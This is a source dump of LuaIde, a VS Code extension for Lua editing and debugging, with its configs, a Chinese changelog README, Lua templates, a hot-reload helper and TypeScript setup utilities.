├── .gitignore
├── .vscode
├── launch.json
├── settings.json
└── tasks.json
├── .vscodeignore
├── License.txt
├── README.md
├── Template
├── FileTemplates
│ └── TestTemplate.lua
├── LoadScript
│ └── LoadScript.lua
├── funTemplate
│ ├── CreateFunctionTemplate.lua
│ └── CreateModuleFunctionTemplate.lua
└── test.css
├── images
├── donate.html
├── index.html
├── loadScript.gif
├── logo.png
├── wechat.png
└── zhifubao.JPG
├── luadebug
├── .DS_Store
├── DevSyncCode.lua
├── LuaDebug.lua
├── LuaDebug_luasockt2_0.lua
└── LuaDebugjit.lua
├── package.json
├── runtime
├── .DS_Store
├── luajit
│ └── win
│ │ ├── lua51.dll
│ │ └── luajit.exe
├── macosx
│ ├── lua
│ ├── luac
│ └── test.lua
├── parseTemFile
└── win
│ ├── DebugConfig.lua
│ └── lua51
│ ├── DebugStart.lua
│ ├── LuaDebug.lua
│ ├── lua.exe
│ ├── lua51.dll
│ ├── luac.exe
│ ├── luac.out
│ └── socket.dll
├── snippets
└── snippets.json
├── src
├── Common.ts
├── ConstInfo.ts
├── debugger
│ ├── BreakPointData.ts
│ ├── Common.ts
│ ├── DebugCommon.ts
│ ├── LuaDebug.ts
│ ├── LuaProcess.ts
│ ├── ScopesManager.ts
│ └── childProcess
│ │ └── BaseChildProcess.ts
├── extension.ts
├── httpClient.ts
└── luatool
│ ├── FunctionCall.ts
│ ├── LuaCheckDoEnd.ts
│ ├── LuaCheckLuaInfos.ts
│ ├── LuaCheckRepeat.ts
│ ├── LuaCheckReturn.ts
│ ├── LuaCheckUnary.ts
│ ├── LuaChuckInfo.ts
│ ├── LuaComment.ts
│ ├── LuaForLogic.ts
│ ├── LuaFuncitonCheck.ts
│ ├── LuaFunctionParse.ts
│ ├── LuaIfLogic.ts
│ ├── LuaInfoManager.ts
│ ├── LuaLeftCheck.ts
│ ├── LuaParse.ts
│ ├── LuaParseTool.ts
│ ├── LuaSetValue.ts
│ ├── LuaTableParse.ts
│ ├── LuaValidateBracket_G.ts
│ ├── LuaValidateBracket_M.ts
│ ├── LuaValidateConstValue.ts
│ ├── LuaValidateOperator.ts
│ ├── LuaWhileLogic.ts
│ ├── LuacCheck.ts
│ ├── TokenInfo.ts
│ ├── UserLoginCount.ts
│ ├── Utils.ts
│ ├── ex
│ ├── AutoLuaComment.ts
│ ├── ChangeCaseExtension.ts
│ ├── CreateFunction.ts
│ ├── CreateMoudleFunction.ts
│ ├── ExFileUtils.ts
│ ├── ExtensionManager.ts
│ ├── LoadLuaScript.ts
│ ├── LuaIdeConfigManager.ts
│ ├── Template
│ │ ├── CreateTemplateFile.ts
│ │ ├── FunctionParameter.ts
│ │ └── TemplateManager.ts
│ └── UserInfo.ts
│ ├── manager
│ ├── CacheCompletionInfo.ts
│ ├── CommentLuaCompletionManager.ts
│ ├── FileCompletionItemManager.ts
│ ├── LuaFileCompletionItems.ts
│ ├── LuaGolbalCompletionManager.ts
│ └── LuaSymbolInformation.ts
│ ├── provider
│ ├── LuaCompletionItemControler.ts
│ ├── LuaCompletionItemFunControler.ts
│ ├── LuaCompletionItemGolbalControler.ts
│ ├── LuaCompletionItemProvider.ts
│ ├── LuaCompletionItemProviderUtils.ts
│ ├── LuaDefinitionProvider.ts
│ ├── LuaDocumentSymbolProvider.ts
│ ├── LuaFiledCompletionInfo.ts
│ ├── LuaFormattingEditProvider.ts
│ ├── LuaMode.ts
│ ├── LuaReferenceProvider.ts
│ ├── LuaSignatureHelpProvider.ts
│ ├── ProviderUtils.ts
│ └── format
│ │ ├── LuaFormatChildProcess.ts
│ │ └── LuaFormatParseTool.ts
│ └── statistics
│ └── StatisticsMain.ts
├── syntaxes
└── Lua.plist
├── test
├── extension.test.ts
└── index.ts
├── tsconfig.json
├── version
├── kangping.luaide-0.1.8.zip
├── lua-0.3.0.vsix
├── luaide-0.2.1.vsix
└── luaide-0.2.2.vsix
├── vsc-extension-quickstart.md
└── 注释规则.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | out
2 | node_modules
--------------------------------------------------------------------------------
/.vscode/launch.json:
--------------------------------------------------------------------------------
1 | // A launch configuration that compiles the extension and then opens it inside a new window
2 | {
3 | "version": "0.1.0",
4 | "configurations": [
5 | {
6 | "name": "Launch Extension",
7 | "type": "extensionHost",
8 | "request": "launch",
9 | "runtimeExecutable": "${execPath}",
10 | "args": ["--extensionDevelopmentPath=${workspaceRoot}" ],
11 | "stopOnEntry": false,
12 | "sourceMaps": true,
13 | "outDir": "${workspaceRoot}/out/src",
14 | "preLaunchTask": "npm"
15 |
16 | },
17 | {
18 | "name": "debugServer", // https://code.visualstudio.com/docs/extensions/example-debuggers
19 | "type": "node",
20 | "request": "launch",
21 | "runtimeArgs": [
22 | "--harmony"
23 | ],
24 | "program": "${workspaceRoot}/src/debugger/LuaDebug.ts",
25 | "stopOnEntry": false,
26 | "args": [
27 | "--server=4711"
28 | ],
29 | "sourceMaps": true,
30 | "outDir": "${workspaceRoot}/out/src",
31 | "cwd":"${workspaceRoot}"
32 |
33 | },
34 | {
35 | "name": "Launch Tests",
36 | "type": "extensionHost",
37 | "request": "launch",
38 | "runtimeExecutable": "${execPath}",
39 | "args": ["--extensionDevelopmentPath=${workspaceRoot}", "--extensionTestsPath=${workspaceRoot}/out/test" ],
40 | "stopOnEntry": false,
41 | "sourceMaps": true,
42 | "outDir": "${workspaceRoot}/out/test",
43 | "preLaunchTask": "npm"
44 | }
45 | ]
46 | }
47 |
--------------------------------------------------------------------------------
/.vscode/settings.json:
--------------------------------------------------------------------------------
1 | // Place your settings in this file to overwrite default and user settings.
2 | {
3 | "files.exclude": {
4 | "out": false, // set this to true to hide the "out" folder with the compiled JS files
5 | "**/LuaIdeServer":true
6 | },
7 | "search.exclude": {
8 | "out": true, // set this to false to include "out" folder in search results
9 | "**/LuaIdeServer":true
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/.vscode/tasks.json:
--------------------------------------------------------------------------------
1 | // Available variables which can be used inside of strings.
2 | // ${workspaceRoot}: the root folder of the team
3 | // ${file}: the current opened file
4 | // ${fileBasename}: the current opened file's basename
5 | // ${fileDirname}: the current opened file's dirname
6 | // ${fileExtname}: the current opened file's extension
7 | // ${cwd}: the current working directory of the spawned process
8 |
9 | // A task runner that calls a custom npm script that compiles the extension.
10 | {
11 | "version": "0.1.0",
12 |
13 | // we want to run npm
14 | "command": "npm",
15 |
16 | // the command is a shell script
17 | "isShellCommand": true,
18 |
19 | // show the output window only if unrecognized errors occur.
20 | "showOutput": "silent",
21 |
22 | // we run the custom script "compile" as defined in package.json
23 | "args": ["run", "compile", "--loglevel", "silent"],
24 |
25 | // The tsc compiler is started in watching mode
26 | "isWatching": true,
27 |
28 | // use the standard tsc in watch mode problem matcher to find compile problems in the output.
29 | "problemMatcher": "$tsc-watch"
30 | }
--------------------------------------------------------------------------------
/.vscodeignore:
--------------------------------------------------------------------------------
1 | .vscode/**
2 | .vscode-test/**
3 | out/test/**
4 | test/**
5 | src/**
6 | **/*.map
7 | .gitignore
8 | tsconfig.json
9 | vsc-extension-quickstart.md
10 | LuaIdeStatistics/**
11 | version/**
12 | LuaIdeServer/**
13 |
14 |
--------------------------------------------------------------------------------
/License.txt:
--------------------------------------------------------------------------------
1 | Copyright (c) Microsoft Corporation
2 |
3 | All rights reserved.
4 |
5 | MIT License
6 |
7 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
8 |
9 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
10 |
11 | THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
12 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | # LuaIde
3 | 1. author:kangping
4 | 1. **luaIde** 是基于vscode开发的一款用于lua语言开发者使用的插件
5 | 1. 目标:致力于做最好的**跨平台**lua开发工具
6 | 1. 更新:luaide 个人开发者开发持续更新 (**更新频率为一周一更**)
7 | 1. 平台支持:**win**,**mac**
8 | 1. 代码调试:理论上只要支持 **luasocket** 就能调试 如果你的游戏引擎或 lua框架需要调试 请联系我
9 |
10 |
11 | # LuaIde 更新日志
12 |
13 |
14 | 1. 2017/6/25 0.3.3-0.37 版本
15 | 1. 方法返回值注释:`--@returnValue [Model.BaseModel]` 修改为 `--@return [Model.BaseModel]`
16 | 2. 将同文件中的变量由只提示方法内的改为 当前文件全局提示
17 | 3. 修复全局变量无法提示bug
18 | 3. 修改某些情况方法返回值无法提示bug
19 | 4. lua文件修改后在不保存的情况下搜索symbol定位错误
20 | 5. 添加用户在线数量显示,可通过 `luaide.showOnLine` 进行关闭 5分钟刷新一次
21 |
22 | 1. 1. 2017/6/15 0.3.2 版本
23 | 1. 修复添加新文件无法 无法在 require 和类型注释中提示的bug
24 | 2. 修复for 循环中的变量错误的解析为全局变量
25 | 3. 修复全局方法返回值 无法提示
26 | 4. 添加注释提示
27 | 5. 添加变量类型注释 `--@valueReference [Model.BaseModel] ` 当输入[ 会列出当前文件中所有的文件
28 | 4. 注释路径添加转到定义
29 | 5. 添加写入初始化信息 文件夹权限不足提示
30 | 1. 2017/6/8 0.3.0 版本
31 | 2. 增强代码推断能力,与0.2.x 版本用了两套逻辑 所以luaide 版本终结与0.2.1 以后待功能完善后 luaide将更名为luaIdeProfessional
32 | 3. 增加了 方法返回值 注释 和父类 类型注释
33 | 1. 方法返回值注释:`--@returnValue [Model.BaseModel]` 当输入[ 会列出当前文件中所有的文件
34 | 1. 父类类型注释:`--@parentClass [Model.BaseModel]` 当输入[ 会列出当前文件中所有的文件
35 | 1. 两种注释需要 添加luaide 的配置 "luaide.scriptRoots": ["C:/Users/Administrator/Desktop/t"]
36 |
37 | #重要提示
38 | 1. [LuaDebug 下载地址](https://github.com/k0204/LuaIde/tree/master/luadebug)
39 | 2. 文档请直接查看[wiki](https://github.com/k0204/LuaIde/wiki)
40 | 3. qq群 **494653114**
41 | 3. 调试文件为两个 LuaDebug,LuaDebugjit 添加调试文件时确认一下自己运行时选择对应的调试文件
42 | 4. bug 和 问题 请留言 [issues](https://github.com/k0204/LuaIde/issues)
43 | 4. [调试视频](https://github.com/k0204/LuaIde/wiki/%E8%A7%86%E9%A2%91%E6%95%99%E7%A8%8B)
44 | 5. [历史版本](https://github.com/k0204/LuaIde/tree/master/version) 如果当前版本出现bug 可将 win->:\Users\Administrator\.vscode\extensions 和 mac->user/.vscode/extensions 中对应的文件夹删除将历史版本解压重启vscode
45 |
46 | #更新记录
47 | 1. 0.1.9->0.2.2
48 | 1. 修复模块方法创建 插入位置错误 修改为插入到当前方法结束后
49 | 2. 方法注释 @desc 无法显示bug
50 | 3. 优化 **require** 时 lua 文件路径提示 兼容 "xxx.xxx.xx" 和 自定义变量 注意如果需要显示"xxx.xxx.xxx" 需要设置 **luaide.scriptRoots**
51 | 4. 优化二进制lua文件导致的lua解析停止无法进行自动提示bug
52 | 5. 添加最大文件检查限制 **luaide.maxFileSize** 默认为2048KB
53 | 6. **luaide.moduleFunNestingCheck** 默认值修改为false -->该检测一定几率会检查错误,该问题将在0.2.1 修复
54 | 7. 添加文件夹右键菜单 **[创建模板文件]** 模板文件配置 请看 [安装](https://github.com/k0204/LuaIde/wiki/%E5%AE%89%E8%A3%85) --> **luaide.luaTemplatesDir**
55 | 8. 修正方法参数无法提示bug
56 | 9. 格式化代码后#与变量名中多出一个空格 修改
57 | 10. 修复由及时检查代码语法引起的 提示错误
58 | 1. 0.1.9->0.2.1
59 | 1. 添加 输入 **---** 自动生成方法注释
60 | 2. 优化方法信息提示 区分全局函数和局部函数
61 | 3. 优化 **require** 时 lua 文件路径提示 兼容 "xxx.xxx.xx" 和 自定义变量 注意如果需要显示"xxx.xxx.xxx" 需要设置 **luaide.scriptRoots**
62 | 4. 优化二进制lua文件导致的lua解析停止无法进行自动提示bug
63 | 5. 添加最大文件检查限制 **luaide.maxFileSize** 默认为2048KB
64 | 6. **luaide.moduleFunNestingCheck** 默认值修改为false -->该检测一定几率会检查错误,该问题将在0.2.1 修复
65 | 7. 添加文件夹右键菜单 **[创建模板文件]** 模板文件配置 请看 [安装](https://github.com/k0204/LuaIde/wiki/%E5%AE%89%E8%A3%85) --> **luaide.luaTemplatesDir**
66 | 8. 修正方法参数无法提示bug
67 | 9. 格式化代码后#与变量名中多出一个空格 修改
68 | 10. 修复由及时检查代码语法引起的 提示错误
69 | 1. 0.1.8
70 | 1. 根据 [guoweidong1987](https://github.com/guoweidong1987) 提供的方法修改lua代码格式化
71 | 2. 添加 **luaide.ChangeTextCheck** 代码修改时是否检查lua语法是否正确
72 | 3. 添加模块方法 **luaide.moduleFunNestingCheck** 模块方法嵌套检查,如果在一个方法中出现另外一个模块方法会认为是错误的
73 | 4. 修改**self** 提示bug 无法提示三级和三级以上的代码 如 **self.data.index**
74 | 5. 添加 **require** 时 lua 文件路径提示
75 |
76 | 1. 0.1.7
77 | 1. 添加显示介绍页面配置 **luaide.isShowDest** 默认为false 只显示一次,如需重复显示修改为true
78 | 2. 修改代码格式化 换行处理 和 " 转义 bug
79 | 3. 修改代码提示 function 方法中 定义的local 变量 无法提示 二级变量 的bug
80 | 4. 添加数据统计接口 统计在线人数, 如果有反感这一行为的请联系我,后期考虑添加配置
81 | 5. 优化debug 将 lua 和luajit 调试文件进行分离 coocs 和unity 如果使用luajit 的调试文件请使用luaDebugjit.lua 文件进行调试 调试文件地址为luadeubg/LuaDebug.lua or luadebug/Luadebugjit.lua
82 |
83 |
84 | 1. 0.1.6 修改代码格式化bug
85 | 1. 将源代码提交至github
86 |
87 |
88 | # 捐献
89 | 支持LuaIde的开发 可以通过微信
90 | 
91 |
--------------------------------------------------------------------------------
/Template/FileTemplates/TestTemplate.lua:
--------------------------------------------------------------------------------
1 | --
2 | --版权所有:{company}
3 | -- Author:{author}
4 | -- Date: {time}
5 | --
6 | local {moduleName} = class("{moduleName}")
7 | function {moduleName}:ctor()
8 |
9 | end
10 | --desc:
11 | --Author:{author}
12 | --date:{time}
13 | function {moduleName}:buttonClick(sender)
14 |
15 | end
16 | function {moduleName}:test1()
17 |
18 | end
19 | return {moduleName}
--------------------------------------------------------------------------------
/Template/LoadScript/LoadScript.lua:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/Template/LoadScript/LoadScript.lua
--------------------------------------------------------------------------------
/Template/funTemplate/CreateFunctionTemplate.lua:
--------------------------------------------------------------------------------
1 | --@desc:
2 | --time:{time}
3 | {paramdesc}
4 | --return
5 | function {functionName}({param})
6 |
7 | end
--------------------------------------------------------------------------------
/Template/funTemplate/CreateModuleFunctionTemplate.lua:
--------------------------------------------------------------------------------
1 | --=======================================
2 | --@desc:
3 | --time:{time}
4 | {paramdesc}
5 | --return
6 | --=======================================
7 | function {moduleName}:{functionName}({param})
8 |
9 | end
--------------------------------------------------------------------------------
/Template/test.css:
--------------------------------------------------------------------------------
1 | p{
2 | color: 0xfff
3 | }
--------------------------------------------------------------------------------
/images/donate.html:
--------------------------------------------------------------------------------
1 |
2 | 谢谢你的支持!
3 |
4 |
5 |
--------------------------------------------------------------------------------
/images/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | 欢迎使用luaIde
4 |
5 |
6 | luaIde 是基于vscode开发的一款用于lua语言开发者使用的插件
8 | 目标:致力于做最好的lua开发工具
9 | 作者:k0204(kangping)
10 | 更新:luaide 个人开发者开发 持续更新
11 | 是否开源:开源 (2017年3月28日将上传github)
12 | 平台支持:win,mac
13 |
14 |
15 | 开源地址:
16 | github
17 |
18 |
19 |
20 |
21 | 文档地址:wiki
23 |
24 |
25 | 演示视频地址:
26 |
27 |
28 | -
29 |
33 |
34 | -
35 |
36 | 下载Lua调试文件
37 |
38 |
39 | -
40 |
41 | LuaIde mac 调试 cocos
42 |
43 |
44 | -
45 |
46 | LuaIde mac ulua Debugger
47 |
48 |
49 | -
50 |
51 | LuaIde Ulua Ios 调试视频
52 |
53 |
54 |
55 | -
56 |
57 | cococ2dx 2.x windows调试视频
58 |
59 |
60 | -
61 |
64 |
65 | -
66 | 由于个人时间有限,后续会添加其他环境的演示视频
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 | 版本更新记录:
77 |
78 |
79 | 0.1.3 (2017/3/21)
80 |
81 |
82 | -
83 | 修改format else时会多出一行
84 |
85 |
86 | -
87 | 添加index 欢迎界面
88 |
89 |
90 |
91 | 0.1.2 (2017/3/21)
92 |
93 |
94 |
95 | -
96 | 添加方法调用时 不适用() 强制报错,提升代码规范
97 |
show name 这种方法调用将直接报错
98 |
99 | -
100 | 去掉代码提示中的 方法加() 和 table 加[] ,去掉重复代码提示
101 |
102 | -
103 | 修复self. 或者 self: 或将其他文件中的方法或属性提示出来bug
104 |
105 |
106 |
107 |
108 | 捐献:
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
134 |
--------------------------------------------------------------------------------
/images/loadScript.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/images/loadScript.gif
--------------------------------------------------------------------------------
/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/images/logo.png
--------------------------------------------------------------------------------
/images/wechat.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/images/wechat.png
--------------------------------------------------------------------------------
/images/zhifubao.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/images/zhifubao.JPG
--------------------------------------------------------------------------------
/luadebug/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/luadebug/.DS_Store
--------------------------------------------------------------------------------
/luadebug/DevSyncCode.lua:
--------------------------------------------------------------------------------
1 | --开发模式同步代码工具
2 | local DevSyncCode = {}
3 | function DevSyncCode:ctor()
4 | --所以需要更新的代码实例
5 | self.classInstances = {}
6 |
7 | end
8 | function DevSyncCode:addInstances(ins)
9 | table.insert( self.classInstances,ins)
10 | end
11 | --读取修改后的lua 文件并修改内存
12 | function DevSyncCode:updateLuaCode(packageName)
13 | if (packageName == nil or packageName == "") then return end
14 |
15 | local oldInfo = package.loaded[packageName]
16 | if(oldInfo == nil) then
17 | return
18 | end
19 |
20 | local package1 = package
21 |
22 | package.loaded[packageName] = nil
23 | --先存储所以得全局变量
24 | local temp_G = {}
25 | for k,v in ipairs(package.loaded._G) do
26 | temp_G[k] = v
27 | end
28 | local newInfo = nil
29 | --重新require
30 | local requireUpdateLua=function ( ... )
31 | newInfo = require(packageName)
32 | end
33 |
34 | tryCatch=function(fun)
35 | local ret,errMessage=pcall(fun);
36 | if(ret == false) then
37 | package.loaded[packageName] = oldInfo
38 | local _g = package.loaded._G
39 | for k,v in ipairs(temp_G) do
40 | if(k ~= "CSBTableCache") then
41 | _g[k] = v
42 | end
43 |
44 | end
45 | print("存在错误不处理:"..packageName)
46 | elseif(ret) then
47 |
48 |
49 | --重新require 后把所以得全局变量都还原
50 | --这么做的原因是因为 如果不做这样的处理 会导致 已经修改过的全局变量 会在
51 | --require 时 更新成初始的值 所以本工具不支持修改代码中的值直接生效
52 | --所以得更改都应该在代码中去进行 才能及时生效
53 | local _g = package.loaded._G
54 | for k,v in ipairs(temp_G) do
55 | _g[k] = v
56 | end
57 |
58 |
59 | --先把原有的信息在package 中删除 不然没法重新require
60 | local tempInfo = {}
61 | if(type(oldInfo) == "table") then
62 | for k,v in pairs(oldInfo) do
63 | if(type(v) ~= "function") then
64 | tempInfo[k] = v
65 | else
66 | self:replaceEventManagerHandler(oldInfo,v,newInfo[k])
67 | end
68 | end
69 | end
70 | local infoType = type(newInfo)
71 | if (infoType == "table") then
72 |
73 | --如果为table 那么需要替换以前的
74 | for k,v in pairs(newInfo) do
75 |
76 | local typestr = type(v)
77 | if(typestr == "function") then
78 | oldInfo[k] = v
79 | end
80 | end
81 | local currentInfo = oldInfo
82 | if(newInfo.__ctype) then
83 | package.loaded[packageName] = oldInfo
84 | else
85 | currentInfo =newInfo
86 | end
87 | --将现有的值进行赋值达到只替换代码逻辑而不修改值得效果
88 | for k,v in pairs(tempInfo) do
89 | if(type(v) ~= "function") then
90 | currentInfo[k] = v
91 | end
92 | end
93 | --下面这些是修改创建出来的userdata 数据
94 | if (newInfo.__ctype == 1) then
95 | local delTable = {}
96 |
97 | for k,v in ipairs(__dscInstances__) do
98 |
99 | if (not tolua.isnull(v)) then
100 | local itype = type(v)
101 | if (itype == "userdata") then
102 | if (iskindof(v,newInfo.__cname)) then
103 | self:replaceInfo(v,newInfo)
104 | end
105 | end
106 | else
107 | table.insert(delTable,v)
108 | end
109 | end
110 | self:delTables(__dscInstances__,delTable)
111 |
112 | end
113 |
114 | end
115 | print("处理完毕:"..packageName)
116 | end
117 | end
118 |
119 | tryCatch(requireUpdateLua);
120 |
121 |
122 |
123 |
124 | end
125 |
126 |
127 | return DevSyncCode
--------------------------------------------------------------------------------
/runtime/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/runtime/.DS_Store
--------------------------------------------------------------------------------
/runtime/luajit/win/lua51.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/runtime/luajit/win/lua51.dll
--------------------------------------------------------------------------------
/runtime/luajit/win/luajit.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/runtime/luajit/win/luajit.exe
--------------------------------------------------------------------------------
/runtime/macosx/lua:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/runtime/macosx/lua
--------------------------------------------------------------------------------
/runtime/macosx/luac:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/runtime/macosx/luac
--------------------------------------------------------------------------------
/runtime/macosx/test.lua:
--------------------------------------------------------------------------------
1 | print("eeee")
--------------------------------------------------------------------------------
/runtime/parseTemFile:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/runtime/parseTemFile
--------------------------------------------------------------------------------
/runtime/win/DebugConfig.lua:
--------------------------------------------------------------------------------
1 | package.path = package.path .. ";e:/bin/?.lua";
2 | package.path = package.path .. ";e:/bin/scripts";require("LuaDebug")("localhost", 7003)
3 | require("main")
--------------------------------------------------------------------------------
/runtime/win/lua51/DebugStart.lua:
--------------------------------------------------------------------------------
1 | local breakSocketHandle,debugXpCall = require("LuaDebug")("localhost",7003)
2 | require("TestModel")
--------------------------------------------------------------------------------
/runtime/win/lua51/lua.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/runtime/win/lua51/lua.exe
--------------------------------------------------------------------------------
/runtime/win/lua51/lua51.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/runtime/win/lua51/lua51.dll
--------------------------------------------------------------------------------
/runtime/win/lua51/luac.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/runtime/win/lua51/luac.exe
--------------------------------------------------------------------------------
/runtime/win/lua51/luac.out:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/runtime/win/lua51/luac.out
--------------------------------------------------------------------------------
/runtime/win/lua51/socket.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/k0204/LuaIde/c366aa3ca6e1e4f025739df413c0734b18c4b605/runtime/win/lua51/socket.dll
--------------------------------------------------------------------------------
/src/Common.ts:
--------------------------------------------------------------------------------
1 | var fs = require('fs');
2 | var path = require('path');
3 | var os = require('os');
4 | import child_process = require('child_process');
5 | export function getConfigInfo() {
6 |
7 | }
8 |
9 |
10 | //初始化环境变量
11 | export function initConfig(args: any): any {
12 | var localRoot: string = args.localRoot;
13 | if (!fs.existsSync(localRoot)) {
14 | return "localRoot: " + localRoot + "不存在"
15 | }
16 | //lua51
17 | var runtimeType: string = args.runtimeType;
18 | var dir = ""
19 | var extensionPath: any = getExtensionPath();
20 | if (extensionPath == false) {
21 | return "未能获取 luaide 路径无法启动调试,请联系作者进行修复! "
22 | }
23 | if (runtimeType == "Lua51") {
24 | if (!fs.existsSync(args.mainFile)) {
25 | return `File does not exist. "${args.mainFile}"`;
26 | }
27 | //文件后缀名
28 | var extName = path.extname(args.mainFile)
29 | console.log("extName:" + extName)
30 | if (extName != ".lua") {
31 | return `文件后缀名应该为.lua "${args.mainFile}"`;
32 | }
33 | dir = path.join(extensionPath, "runtime", "win")
34 | var result = createDebugInitFile(dir)
35 | if (result != true) {
36 | return result
37 | }
38 |
39 | return result;
40 | }
41 | else if (runtimeType == "Cocos2" || runtimeType == "Cocos3") {
42 | if (!fs.existsSync(args.exePath)) {
43 | return `File does not exist. "${args.exePath}"`;
44 | }
45 | if (args.scripts) {
46 |
47 |
48 | for (var index = 0; index < args.scripts.length; index++) {
49 | var scriptsPath = args.scripts[index];
50 | if (!fs.existsSync(scriptsPath)) {
51 | return `File does not exist. "${scriptsPath}"`;
52 | }
53 | }
54 | }
55 | return true
56 | }
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 | }
65 |
66 | function createDebugInitFile(dir: string) {
67 | try {
68 | var fileName = path.join(dir, "LuaDebug.lua")
69 | var expath = getExtensionPath();
70 | var luapath = path.join(expath, "luadebug", "LuaDebug.lua")
71 | fs.writeFileSync(fileName, fs.readFileSync(luapath));
72 |
73 | return true
74 | } catch (err) {
75 | return err
76 | }
77 | }
78 |
79 | export function getLuaRuntimePath() {
80 | var rootPath: string = getExtensionPath();
81 | //
82 | return path.join(rootPath, "runtime", "win")
83 | }
84 |
85 |
86 | export function getLoadLuaScript() {
87 | var dir = getExtensionPath();
88 | var loadScriptPath: string = path.join(dir, "Template", "LoadScript", "LoadScript.lua")
89 | if (fs.existsSync(loadScriptPath)) {
90 | try {
91 | return fs.readFileSync(loadScriptPath, 'utf-8');
92 | } catch (err) {
93 | }
94 | }
95 | }
96 |
97 | export function getExtensionPath() {
98 | var dir = getConfigDir();
99 | var configFile: string = path.join(dir, "luaideConfig")
100 |
101 | if (fs.existsSync(configFile)) {
102 | try {
103 | return fs.readFileSync(configFile, 'utf-8');
104 | } catch (err) {
105 | }
106 | }
107 |
108 |
109 | return false;
110 | }
111 | //递归创建目录 同步方法
112 | export function mkdirsSync(dirname) {
113 | //console.log(dirname);
114 | if (fs.existsSync(dirname)) {
115 | return true;
116 | } else {
117 | if (mkdirsSync(path.dirname(dirname))) {
118 | fs.mkdirSync(dirname);
119 | return true;
120 | }
121 | }
122 | }
123 | /**
124 | * Returns the default templates location based on the user OS.
125 | * @returns {string}
126 | */
127 | export function getConfigDir() {
128 | var userDataDir = null;
129 |
130 |
131 | switch (process.platform) {
132 | case 'linux':
133 | userDataDir = path.join(os.homedir(), '.config');
134 | break;
135 | case 'darwin':
136 | userDataDir = path.join(os.homedir(), 'Library', 'Application Support');
137 | break;
138 | case 'win32':
139 | userDataDir = process.env.APPDATA;
140 | break;
141 | default:
142 | throw Error("Unrecognizable operative system");
143 | }
144 |
145 | userDataDir = path.join(userDataDir, 'code', 'user', "luaide");
146 | mkdirsSync(userDataDir)
147 | return userDataDir
148 | };
149 |
150 |
--------------------------------------------------------------------------------
/src/ConstInfo.ts:
--------------------------------------------------------------------------------
1 | export class ConstInfo{
2 | public static extensionConfig= "kangping.luaide"
3 | public static extensionLuaCodeConfig= "kangping.lua"
4 | public static extensionLuaIdeConfig= "kangping.luaide"
5 | public static extensionName = "LuaCode"
6 | }
--------------------------------------------------------------------------------
/src/debugger/BreakPointData.ts:
--------------------------------------------------------------------------------
1 | import { DebugProtocol } from 'vscode-debugprotocol';
2 | import { readFileSync } from 'fs';
3 | import { basename } from 'path';
4 | import { LuaDebug } from './LuaDebug';
5 | import {
6 | DebugSession,
7 | InitializedEvent, TerminatedEvent, StoppedEvent, BreakpointEvent, OutputEvent, Event,
8 | Thread, StackFrame, Scope, Source, Handles, Breakpoint
9 | } from 'vscode-debugadapter';
10 |
11 | export class BreakPointData {
12 |
13 | private currentText: string;
14 | private vindex: number;
15 | private _breakPoints = new Map>();
16 | private _breakpointId = 111000;
17 | private length: number;
18 | private line: number;
19 | private isAddLine: boolean;
20 | private lines: Array;
